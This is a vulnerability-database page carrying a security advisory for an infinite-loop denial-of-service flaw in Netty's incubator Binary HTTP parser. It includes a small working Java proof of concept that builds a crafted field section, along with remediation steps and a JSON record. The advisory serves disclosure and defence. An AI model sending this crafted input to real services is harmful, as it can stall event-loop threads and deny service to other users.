Vulnerability-Lookup

GHSA-8CFX-WX3Q-MH5Q

Vulnerability from github – Published: 2026-08-20 18:43 – Updated: 2026-08-20 18:43

Summary

netty-incubator-codec-ohttp: Binary HTTP parser infinite loop on known-length field section boundary

Details

Summary

io.netty.incubator:netty-incubator-codec-bhttp can enter a non-terminating parse loop when a known-length Binary HTTP field section ends exactly after a complete field line. A remote peer that can send Binary HTTP input to a Netty pipeline using BinaryHttpParser / BinaryHttpDecoder can use a tiny malformed request or response to keep the parsing thread busy indefinitely, causing denial of service.

Details

In codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java, readFieldSection(...) tracks the remaining field-section length in fieldSectionLength, then repeatedly calls readFieldLine(...) until the length reaches zero:

readFieldSection(...) parses the known-length field section and enters while (fieldSectionLength != 0) at BinaryHttpParser.java:619.
Inside the loop, it records readableBytes, calls readFieldLine(...), computes read = readableBytes - in.readableBytes(), asserts read > 0, and subtracts read from fieldSectionLength at BinaryHttpParser.java:620-625.
readFieldLine(...) returns null without consuming bytes when the field line ends exactly at the end of the readable slice because it uses if (sumBytes >= in.readableBytes()) return null after adding the value length (BinaryHttpParser.java:678-681).
With JVM assertions disabled (the production default), assert read > 0 is not active. The parser therefore subtracts zero forever and never returns.

The boundary condition is reachable with a valid known-length field section containing exactly one complete field line and no extra byte after that line. Example field section: length 4, then name length 1, name a, value length 1, value b.

Proof of concept

Safe local verification performed in this repository:

Compile the module and classpath:

./mvnw -q -pl codec-bhttp -am compile test-compile
./mvnw -q -pl codec-bhttp dependency:build-classpath -Dmdep.outputFile=/tmp/codec-bhttp-cp.txt
printf '%s' "codec-bhttp/target/classes:$(cat /tmp/codec-bhttp-cp.txt)" > /tmp/codec-bhttp-run-cp.txt

Compile and run this minimal verifier with production-style assertions disabled:

import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.incubator.codec.bhttp.BinaryHttpParser;
import io.netty.incubator.codec.bhttp.VarIntCodecUtils;
import java.nio.charset.StandardCharsets;

public final class VerifyBhttpHang {
  private static void writeAscii(ByteBuf out, String value) {
    VarIntCodecUtils.writeVariableLengthInteger(out, value.length());
    out.writeCharSequence(value, StandardCharsets.US_ASCII);
  }
  public static void main(String[] args) {
    ByteBuf buffer = Unpooled.buffer();
    VarIntCodecUtils.writeVariableLengthInteger(buffer, 0); // known-length request
    writeAscii(buffer, "GET");
    writeAscii(buffer, "https");
    writeAscii(buffer, "example.com");
    writeAscii(buffer, "/");
    VarIntCodecUtils.writeVariableLengthInteger(buffer, 4); // field section length
    writeAscii(buffer, "a");
    writeAscii(buffer, "b");
    new BinaryHttpParser(8192).parse(buffer, false);
    System.out.println("returned");
  }
}

Execution result observed locally:

timeout 3 java -cp "/tmp:$(cat /tmp/codec-bhttp-run-cp.txt)" VerifyBhttpHang
exit=124

Exit code 124 from timeout confirms the parser did not return within three seconds. When assertions are enabled by Surefire, the same payload fails at BinaryHttpParser.java:622 (assert read > 0), confirming the non-progress condition.

Impact

A peer that can deliver crafted BHTTP bytes can cause the parser to loop forever. In Netty deployments this can pin the event-loop thread or worker responsible for the channel, reducing or eliminating availability for other channels on the same event loop. Through OHTTP, the same parser is used after successful decryption of protected payloads, so authenticated/decryptable OHTTP peers can trigger the same condition in the inner BHTTP parser.

Suggested remediation

Treat readFieldLine(...) == null as incomplete input and return null from readFieldSection(...) instead of continuing.
Replace boundary checks in readFieldLine(...) that require an extra byte after a complete field line. A complete field line ending exactly at the known field-section boundary should be accepted.
Add a production runtime guard that throws a controlled decoder exception if a parser loop iteration makes no progress.
Add regression tests with JVM assertions disabled for known-length header and trailer field sections that end exactly at the field-section boundary.

References

codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:619-625
codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:678-681
RFC 9292: Binary Representation of HTTP Messages

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.0.22.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty.incubator:netty-incubator-codec-bhttp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.23.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63124"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-20T18:43:25Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`io.netty.incubator:netty-incubator-codec-bhttp` can enter a non-terminating parse loop when a known-length Binary HTTP field section ends exactly after a complete field line. A remote peer that can send Binary HTTP input to a Netty pipeline using `BinaryHttpParser` / `BinaryHttpDecoder` can use a tiny malformed request or response to keep the parsing thread busy indefinitely, causing denial of service.\n\n## Details\n\nIn `codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java`, `readFieldSection(...)` tracks the remaining field-section length in `fieldSectionLength`, then repeatedly calls `readFieldLine(...)` until the length reaches zero:\n\n- `readFieldSection(...)` parses the known-length field section and enters `while (fieldSectionLength != 0)` at `BinaryHttpParser.java:619`.\n- Inside the loop, it records `readableBytes`, calls `readFieldLine(...)`, computes `read = readableBytes - in.readableBytes()`, asserts `read \u003e 0`, and subtracts `read` from `fieldSectionLength` at `BinaryHttpParser.java:620-625`.\n- `readFieldLine(...)` returns `null` without consuming bytes when the field line ends exactly at the end of the readable slice because it uses `if (sumBytes \u003e= in.readableBytes()) return null` after adding the value length (`BinaryHttpParser.java:678-681`).\n- With JVM assertions disabled (the production default), `assert read \u003e 0` is not active. The parser therefore subtracts zero forever and never returns.\n\nThe boundary condition is reachable with a valid known-length field section containing exactly one complete field line and no extra byte after that line. Example field section: length `4`, then name length `1`, name `a`, value length `1`, value `b`.\n\n## Proof of concept\n\nSafe local verification performed in this repository:\n\n1. Compile the module and classpath:\n\n```bash\n./mvnw -q -pl codec-bhttp -am compile test-compile\n./mvnw -q -pl codec-bhttp dependency:build-classpath -Dmdep.outputFile=/tmp/codec-bhttp-cp.txt\nprintf \u0027%s\u0027 \"codec-bhttp/target/classes:$(cat /tmp/codec-bhttp-cp.txt)\" \u003e /tmp/codec-bhttp-run-cp.txt\n```\n\n2. Compile and run this minimal verifier with production-style assertions disabled:\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.incubator.codec.bhttp.BinaryHttpParser;\nimport io.netty.incubator.codec.bhttp.VarIntCodecUtils;\nimport java.nio.charset.StandardCharsets;\n\npublic final class VerifyBhttpHang {\n  private static void writeAscii(ByteBuf out, String value) {\n    VarIntCodecUtils.writeVariableLengthInteger(out, value.length());\n    out.writeCharSequence(value, StandardCharsets.US_ASCII);\n  }\n  public static void main(String[] args) {\n    ByteBuf buffer = Unpooled.buffer();\n    VarIntCodecUtils.writeVariableLengthInteger(buffer, 0); // known-length request\n    writeAscii(buffer, \"GET\");\n    writeAscii(buffer, \"https\");\n    writeAscii(buffer, \"example.com\");\n    writeAscii(buffer, \"/\");\n    VarIntCodecUtils.writeVariableLengthInteger(buffer, 4); // field section length\n    writeAscii(buffer, \"a\");\n    writeAscii(buffer, \"b\");\n    new BinaryHttpParser(8192).parse(buffer, false);\n    System.out.println(\"returned\");\n  }\n}\n```\n\nExecution result observed locally:\n\n```text\ntimeout 3 java -cp \"/tmp:$(cat /tmp/codec-bhttp-run-cp.txt)\" VerifyBhttpHang\nexit=124\n```\n\nExit code `124` from `timeout` confirms the parser did not return within three seconds. When assertions are enabled by Surefire, the same payload fails at `BinaryHttpParser.java:622` (`assert read \u003e 0`), confirming the non-progress condition.\n\n## Impact\n\nA peer that can deliver crafted BHTTP bytes can cause the parser to loop forever. In Netty deployments this can pin the event-loop thread or worker responsible for the channel, reducing or eliminating availability for other channels on the same event loop. Through OHTTP, the same parser is used after successful decryption of protected payloads, so authenticated/decryptable OHTTP peers can trigger the same condition in the inner BHTTP parser.\n\n## Suggested remediation\n\n- Treat `readFieldLine(...) == null` as incomplete input and return `null` from `readFieldSection(...)` instead of continuing.\n- Replace boundary checks in `readFieldLine(...)` that require an extra byte after a complete field line. A complete field line ending exactly at the known field-section boundary should be accepted.\n- Add a production runtime guard that throws a controlled decoder exception if a parser loop iteration makes no progress.\n- Add regression tests with JVM assertions disabled for known-length header and trailer field sections that end exactly at the field-section boundary.\n\n## References\n\n- `codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:619-625`\n- `codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:678-681`\n- RFC 9292: Binary Representation of HTTP Messages",
  "id": "GHSA-8cfx-wx3q-mh5q",
  "modified": "2026-08-20T18:43:25Z",
  "published": "2026-08-20T18:43:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty-incubator-codec-ohttp/security/advisories/GHSA-8cfx-wx3q-mh5q"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty-incubator-codec-ohttp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty-incubator-codec-ohttp/releases/tag/netty-incubator-codec-parent-ohttp-0.0.23.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "netty-incubator-codec-ohttp: Binary HTTP parser infinite loop on known-length field section boundary"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-8CFX-WX3Q-MH5Q

Summary

Details

Proof of concept

Impact

Suggested remediation

References

Tags

Sightings

Nomenclature